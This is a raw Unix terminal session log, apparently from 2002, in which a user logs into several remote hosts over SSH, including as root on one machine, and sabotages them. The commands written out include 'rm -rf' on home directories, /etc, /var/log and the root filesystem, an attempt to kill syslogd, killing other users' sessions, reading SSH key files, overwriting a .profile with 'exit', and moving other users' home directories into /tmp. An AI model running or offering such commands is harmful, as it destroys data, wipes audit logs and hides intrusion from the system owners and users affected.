days, 21:21, 1 user, load averages: 0.31, 0.23, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 3 vi acl sh$ ssh -l seiki signet-ring.com The authenticity of host 'signet-ring.com (64.71.134.2)' can't be established. RSA1 key fingerprint is fa:d9:60:51:f7:ff:83:d4:dc:a8:ec:46:9d:96:bf:7b. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'signet-ring.com,64.71.134.2' (RSA1) to the list of known hosts. seiki@signet-ring.com's password: Permission denied, please try again. seiki@signet-ring.com's password: Permission denied, please try again. seiki@signet-ring.com's password: Permission denied. sh$ w 3:30PM up 29 days, 21:22, 1 user, load averages: 0.33, 0.24, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 4 vi acl sh$ ssh -l seiki oyster.vuurwerk.nl The authenticity of host 'oyster.vuurwerk.nl (62.250.3.215)' can't be established. RSA key fingerprint is 1d:2a:b5:32:ed:72:01:0e:52:d3:38:9c:8f:44:53:71. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'oyster.vuurwerk.nl,62.250.3.215' (RSA) to the list of known hosts. seiki@oyster.vuurwerk.nl's password: bash-2.05$ w 10:34pm up 214 days, 6:08, 0 users, load average: 0.71, 0.74, 0.50 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT bash-2.05$ ls -al total 3896 drwx------ 7 seiki users 4096 Jul 4 23:29 . drwxr-xr-x 390 root root 16384 Jul 3 11:01 .. drwx------ 5 seiki users 4096 May 3 13:55 .BitchX -rwx------ 1 seiki users 0 Sep 20 2000 .addressbook -rwx------ 1 seiki users 2285 Sep 20 2000 .addressbook.lu -rwx------ 1 seiki users 1628 Jul 11 05:54 .bash_history -rwx------ 1 seiki users 946 May 13 14:36 .cshrc -rwx------ 1 seiki users 14 Dec 27 2001 .forward -rwx------ 1 seiki users 10977 Jan 18 2001 .pine-debug2 -rwx------ 1 seiki users 15267 Jul 4 23:27 .pinerc drwx------ 2 seiki users 4096 Oct 22 2000 .ssh -rwxr-xr-x 1 seiki users 2727119 May 13 14:49 BitchX drwx------ 2 seiki users 4096 May 13 14:36 bin -rwx------ 1 seiki users 973031 Sep 19 2000 bx drwx------ 3 seiki users 4096 May 14 2001 ftp drwx------ 2 seiki users 4096 Jul 4 23:28 mail -rwxr-xr-x 1 seiki users 188059 May 13 14:49 scr-bx -rwx------ 1 seiki users 109 Oct 22 2000 staff.txt bash-2.05$ rm -rf * bash-2.05$ passwd bash: passwd: command not found bash-2.05$ /usr/bin/passwd bash: /usr/bin/passwd: No such file or directory bash-2.05$ echo "exit" .profile exit .profile bash-2.05$ echo ".echo "exit" > .profile bash-2.05$ cat .profile exit bash-2.05$ exit logout Connection to oyster.vuurwerk.nl closed. sh$ w 3:31PM up 29 days, 21:24, 1 user, load averages: 0.27, 0.24, 0.23 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 6 vi acl sh$ w 3:33PM up 29 days, 21:26, 1 user, load averages: 0.18, 0.21, 0.22 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 8 vi acl sh$ sh$ sh$ w 3:34PM up 29 days, 21:26, 1 user, load averages: 0.15, 0.20, 0.22 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 8 vi acl sh$ ssh -l dougb 64.94.46.230 The authenticity of host '64.94.46.230 (64.94.46.230)' can't be established. RSA key fingerprint is b6:ce:a2:95:92:ff:22:2a:17:e9:ba:9a:ec:6c:b9:29. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '64.94.46.230' (RSA) to the list of known hosts. dougb@64.94.46.230's password: Permission denied, please try again. dougb@64.94.46.230's password: Permission denied, please try again. dougb@64.94.46.230's password: Permission denied (publickey,password,keyboard-interactive). sh$ w 3:35PM up 29 days, 21:28, 1 user, load averages: 0.14, 0.18, 0.21 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 10 vi acl sh$ sh$ sh$ ssh -l root 64.94.46.230 root@64.94.46.230's password: Last login: Sun Jul 7 19:21:25 2002 FreeBSD 4.6-STABLE (IRCD) #0: Wed Jun 19 09:44:04 GMT 2002 greetings elite one.. bash-2.05a# bash-2.05a# bash-2.05a# w 8:39PM up 21:09, 2 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT dis p0 nunya.bidness 1:39PM 2:28 su (bash) root p1 209-102-214-20.i 8:39PM - w bash-2.05a# Jul 17 20:39:30 irc last message repeated 2 times Jul 17 20:39:31 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:30 irc last message repeated 2 times Jul 17 20:39:31 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:32 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:32 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:33 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:33 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:33 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:34 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:33 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:34 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:34 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:34 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:35 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:36 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:35 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:36 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 bash-2.05a# kilall syslogd bash: kilall: command not found bash-2.05a# Jul 17 20:39:42 irc last message repeated 3 times Jul 17 20:39:42 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:42 irc last message repeated 3 times Jul 17 20:39:42 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:44 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:44 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:45 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:45 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:46 irc last message repeated 2 times Jul 17 20:39:46 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:46 irc last message repeated 2 times Jul 17 20:39:46 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:47 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:47 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:48 irc last message repeated 3 times Jul 17 20:39:48 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:48 irc last message repeated 3 times Jul 17 20:39:48 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:49 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:49 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 bash-2.05a# Jul 17 20:39:51 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:51 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 bash-2.05a# rm /usr/bin/su override r-sr-xr-x root/wheel schg for /usr/bin/su? bash-2.05a# Jul 17 20:39:55 irc last message repeated 2 times Jul 17 20:39:56 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:55 irc last message repeated 2 times Jul 17 20:39:56 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:57 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:57 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:39:59 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:00 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:39:59 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:00 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:01 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:01 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:02 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:02 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:03 irc last message repeated 3 times Jul 17 20:40:03 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:03 irc last message repeated 3 times Jul 17 20:40:03 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:04 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:04 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:04 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:05 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:04 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:05 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:05 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:05 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:07 irc last message repeated 3 times Jul 17 20:40:07 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:07 irc last message repeated 3 times Jul 17 20:40:07 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:09 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:09 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:09 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:09 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 rJul 17 20:40:11 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:11 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 m /usr/bin/su override r-sr-xr-x root/wheel schg for /usr/bin/su? y killall irc rm: /usr/bin/su: Operation not permitted bash-2.05a# bash-2.05a# bash-2.05a# killall irc No matching processes were found bash-2.05a# Jul 17 20:40:11 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:11 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 w 8:40PM up 21:10, 2 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT dis p0 nunya.bidness 1:39PM 2:28 su (bash) root p1 209-102-214-20.i 8:39PM - w bash-2.05a# Jul 17 20:40:20 irc last message repeated 4 times Jul 17 20:40:21 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:20 irc last message repeated 4 times Jul 17 20:40:21 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:22 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:22 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:24 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:25 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:24 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:25 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:25 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:26 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:25 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:26 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:27 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:27 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:28 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:28 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:28 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:28 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 ps auxw|grep sysl root 72 0.0 0.1 972 684 ?? Ss Tue07PM 0:22.68 /usr/sbin/syslogd -s bash-2.05a# Jul 17 20:40:35 irc last message repeated 3 times Jul 17 20:40:36 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:35 irc last message repeated 3 times Jul 17 20:40:36 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:37 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:37 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:38 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:38 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:39 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:39 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 kill -9 72Jul 17 20:40:43 irc last message repeated 2 times Jul 17 20:40:43 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:43 irc last message repeated 2 times Jul 17 20:40:43 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:44 irc last message repeated 2 times Jul 17 20:40:45 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:44 irc last message repeated 2 times Jul 17 20:40:45 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:45 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:45 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:47 irc last message repeated 2 times Jul 17 20:40:47 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:47 irc last message repeated 2 times Jul 17 20:40:47 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:47 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:47 irc /kernel: arp: 64.94.47.252 is on fxp0 but got reply from 00:e0:80:51:4c:00 on fxp1 Jul 17 20:40:49 irc last message repeated 2 times Jul 17 20:40:49 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 Jul 17 20:40:49 irc last message repeated 2 times Jul 17 20:40:49 irc /kernel: arp: 64.94.47.253 is on fxp0 but got reply from 02:e0:52:2f:ef:01 on fxp1 bash-2.05a# w 8:41PM up 21:10, 2 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT dis p0 nunya.bidness 1:39PM 2:29 su (bash) root p1 209-102-214-20.i 8:39PM - w bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# bash-2.05a# ps auxw|grep dis dis 5017 0.0 0.3 1716 1420 ?? Is Tue08PM 0:00.44 screen BitchX dis-rc 64.94.46.230:31337 dis 5018 0.0 0.5 2828 2580 p2 Is+ Tue08PM 0:01.14 BitchX dis-rc 64.94.46.230:31337 (BitchX-1.0c19) root 5814 0.0 0.4 2156 1792 ?? I 1:39PM 0:00.02 sshd: dis [priv] (sshd) dis 5816 0.0 0.3 2164 1780 ?? I 1:39PM 0:00.04 sshd: dis@ttyp0 (sshd) dis 5817 0.0 0.2 1032 884 p0 Is 1:39PM 0:00.01 -bash (bash) bash-2.05a# kill -9 5816 5814 bash-2.05a# cd /home bash-2.05a# ls -al total 24 drwxr-xr-x 6 root wheel 512 Jul 17 05:43 . drwxr-xr-x 20 root wheel 512 Jun 29 17:04 .. drwxr-xr-x 3 dis dis 512 Jul 16 20:23 dis drwxr-xr-x 3 douglas douglas 512 Jul 16 21:16 douglas drwxr-xr-x 5 irc irc 1024 Jul 17 07:13 irc drwxr-xr-x 3 munky munky 512 Jun 18 21:51 munky bash-2.05a# cat /root/.ssh/k* cat: /root/.ssh/k*: No such file or directory bash-2.05a# cat */.ssh/k* exodus.elixor.net ssh-dss AAAAB3NzaC1kc3MAAACBAPwABJSbzwXYYo/uNkvVdAN36GtuKk077B8l5Hf+EHr2j7TARReQ5z2erb4UJIzeXaryaom7LX+jhiWn5il5CmMfVmQ+Om2bWjZo/xhK2bRnZ2b7lwRsDhl4ii79Y2lrJjFu7bwjvb7WKSfgFiM/xHBR9rFT8L9qBgPr/KH4gIe7AAAAFQDgN5kVfwsUJRLnxX24HWOdgf5+VwAAAIBCvJEnrERc3XNW1MHUVUZGMLmIGROKZZG2YLLObheAnzAWDGM4xG5t+tdTnqOs5Drx++zO6OlKe7pzj8PF3Nxs8qhdlwOvX3ogYQ9h/ULTgvSn05p7zZphaoW237/8O5uIacu01NiaR3mUl1mQN+xcQ+QGYx4PuY9Nt0OmqRngNQAAAIEA5VqZ8xRy2iZpasVSE7j2o+jCaPTB1i933YtdfDKU7v88bBwChKH0xwGRyGPhTVM6gKvn8qsyXDvjuh9cmbI/eDW1A335gNr6h8zNBL10wpdkOPvWwS/rX6PGg7fBphe63hPPxugFmKGmnyFEqJAeckYL0tHwk+k6BQqPwH9c+mE= bash-2.05a# ls -al douglas total 52 drwxr-xr-x 3 douglas douglas 512 Jul 16 21:16 . drwxr-xr-x 6 root wheel 512 Jul 17 05:43 .. drwx------ 3 douglas douglas 512 Jul 16 21:44 .BitchX -rw-r--r-- 1 douglas douglas 771 Jul 16 21:07 .cshrc -rw------- 1 douglas douglas 1341 Jul 17 08:06 .history -rw-r--r-- 1 douglas douglas 255 Jul 16 21:07 .login -rw-r--r-- 1 douglas douglas 165 Jul 16 21:07 .login_conf -rw------- 1 douglas douglas 371 Jul 16 21:07 .mail_aliases -rw-r--r-- 1 douglas douglas 331 Jul 16 21:07 .mailrc -rw-r--r-- 1 douglas douglas 789 Jul 16 21:07 .profile -rw------- 1 douglas douglas 276 Jul 16 21:07 .rhosts -rw-r--r-- 1 douglas douglas 17 Jul 16 21:16 .screenrc -rw-r--r-- 1 douglas douglas 852 Jul 16 21:07 .shrc bash-2.05a# ls -al dis total 52 drwxr-xr-x 3 dis dis 512 Jul 16 20:23 . drwxr-xr-x 6 root wheel 512 Jul 17 05:43 .. drwx------ 3 dis dis 512 Jul 16 20:30 .BitchX -rw------- 1 dis dis 1179 Jul 17 20:42 .bash_history -rw-r--r-- 1 dis dis 771 Jun 18 22:18 .cshrc -rw------- 1 dis dis 191 Jun 18 23:28 .history -rw-r--r-- 1 dis dis 194 Jun 19 09:53 .login -rw-r--r-- 1 dis dis 165 Jun 18 22:18 .login_conf -rw------- 1 dis dis 371 Jun 18 22:18 .mail_aliases -rw-r--r-- 1 dis dis 331 Jun 18 22:18 .mailrc -rw-r--r-- 1 dis dis 728 Jun 19 09:53 .profile -rw------- 1 dis dis 276 Jun 18 22:18 .rhosts -rw-r--r-- 1 dis dis 852 Jun 18 22:18 .shrc bash-2.05a# w 8:42PM up 21:12, 1 user, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT root p1 209-102-214-20.i 8:39PM - w bash-2.05a# rm -rf /var/log & [1] 6141 bash-2.05a# rm /etc/rm -rf /etc/ & [2] 6142 [1] Done rm -rf /var/log bash-2.05a# rm -rf /home & [3] 6143 [2] Done rm -rf /etc/ bash-2.05a# rm -rf /var & [4] 6144 [3] Done rm -rf /home bash-2.05a# rm: /var: Device busy rm -rf /root & [5] 6145 [4] Exit 1 rm -rf /var bash-2.05a# rm -rf / & [6] 6146 [5] Done rm -rf /root bash-2.05a# rm: /tmp: Device busy rm: /usr/bin/cu: Operation not permitted rm: /usr/bin/uucp: Operation not permitted rm: /usr/bin/uuname: Operation not permitted rm: /usr/bin/uustat: Operation not permitted rm: /usr/bin/uux: Operation not permitted rm: /usr/bin/man: Operation not permitted rm: /usr/bin/chpass: Operation not permitted rm: /usr/bin/chfn: Operation not permitted rm: /usr/bin/chsh: Operation not permitted rm: /usr/bin/ypchpass: Operation not permitted rm: /usr/bin/ypchfn: Operation not permitted rm: /usr/bin/ypchsh: Operation not permitted rm: /usr/bin/login: Operation not permitted rm: /usr/bin/passwd: Operation not permitted rm: /usr/bin/yppasswd: Operation not permitted rm: /usr/bin/rlogin: Operation not permitted rm: /usr/bin/rsh: Operation not permitted rm: /usr/bin/su: Operation not permitted rm: /usr/bin/tip: Operation not permitted rm: /usr/bin/crontab: Operation not permitted rm: /usr/bin: Directory not empty rm: /usr/lib/libcrypt.so.2: Operation not permitted rm: /usr/lib/libc.so.4: Operation not permitted rm: /usr/lib/libc_r.so.4: Operation not permitted rm: /usr/lib/libcipher.so.2: Operation not permitted rm: /usr/lib: Directory not empty rm: /usr/libexec/ld-elf.so.1: Operation not permitted rm: /usr/libexec: Directory not empty rm: /usr/sbin/sliplogin: Operation not permitted rm: /usr/sbin: Directory not empty bash-2.05a# bash-2.05a# bash-2.05a# exit Connection to 64.94.46.230 closed by remote host. Connection to 64.94.46.230 closed. sh$ w 3:40PM up 29 days, 21:33, 1 user, load averages: 0.39, 0.20, 0.19 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 -tcsh sh$ w 3:41PM up 29 days, 21:33, 1 user, load averages: 0.30, 0.19, 0.18 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 -tcsh sh$ mv /home/seiki /tmp/fuck sh$ mkdir /home/sh$ chmod -R 700 /tmp/fuck sh$ w 3:41PM up 29 days, 21:34, 1 user, load averages: 0.33, 0.21, 0.19 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 1 -tcsh sh$ sh$ w 3:42PM up 29 days, 21:34, 1 user, load averages: 0.26, 0.20, 0.19 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 1 -tcsh sh$ sh$ sh$ w 3:42PM up 29 days, 21:35, 2 users, load averages: 0.16, 0.19, 0.18 USER TTY FROM LOGIN@ IDLE WHAT seiki p2 user-112009j.dsl 2:43PM 0 -tcsh netmunky p4 24.213.56.132.up 3:42PM 0 screen -r sh$ mv /home/ /tmp/ fuck ssh-Opg19725 ssh-lsd28322 ssh-yNY29720 mysql.sock ssh-PHO27264 ssh-rtL17457 uscreens ssh-NQzU5526 ssh-jPo31138 ssh-vrYY7733 sh$ mv /home/ /tmp/ fuck ssh-Opg19725 ssh-lsd28322 ssh-yNY29720 mysql.sock ssh-PHO27264 ssh-rtL17457 uscreens ssh-NQzU5526 ssh-jPo31138 ssh-vrYY7733 sh$ mv /home/ /tmp/ fuck ssh-Opg19725 ssh-lsd28322 ssh-yNY29720 mysql.sock ssh-PHO27264 ssh-rtL17457 uscreens ssh-NQzU5526 ssh-jPo31138 ssh-vrYY7733 sh$ mv /home/ /tmp/fuck mv: cannot rename a mount point sh$ ls -al /home total 14 drwxr-xr-x 14 root wheel 512 Jul 17 15:41 . drwxr-xr-x 14 root wheel 512 Jun 18 17:36 .. drwxr-xr-x 4 alvion users 512 Jun 17 09:07 alvion drwxr-xr-x 2 ara users 512 Jun 16 20:27 ara drwx--x--x 4 cotwweb www 512 Jun 17 09:21 cotwweb drwxr-x--- 12 root wheel 1024 Jul 1 17:56 glftpd drwxr-xr-x 3 irc irc 512 Jun 18 06:05 irc drwxr-xr-x 5 jenna users 512 Jun 17 09:22 jenna drwxr-xr-x 2 keith users 512 Jun 17 17:00 keith drwxr-xr-x 2 matrix users 512 Jun 17 08:52 matrix drwx--x--x 11 netmunky users 1024 Jul 17 14:48 netmunky drwxr-xr-x 2 orange1 users 512 Jun 27 17:02 orange1 drwxr-xr-x 2 paul users 512 Jun 17 17:00 paul drwxr-xr-x 2 vixen users 512 Jun 17 08:52 vixen sh$ mv /home/netmunky /tmp/fuck w ^Z [1]+ Suspended mv /home/netmunky /tmp/fuck sh$ bg [1]+ mv /home/netmunky /tmp/fuck & sh$ sh$ sh$ sh$ sh$ BitchX -A bash: BitchX: command not found sh$ whereis BitchX /usr/local/bin/BitchX sh$ /usr/local/bin/BitchX -A BitchX - Based on EPIC Software Labs epic ircII (1998). Version (BitchX-1.0c19) -- Date (20020325). Process [14012] Using terminal type [vt100]                                           [0] [0]  [03:44pm][][Mail: 2] []  [::::][0] ùíù BitchX: Created directory /root/.BitchX [0] ùíù BitchX: Auto Response is set to - netmunky [0] [0] ùíù Connecting to port 6667 of server irc.flamed.net [refnum 0] [0] [0]  [03:45pm][][Mail: 2] 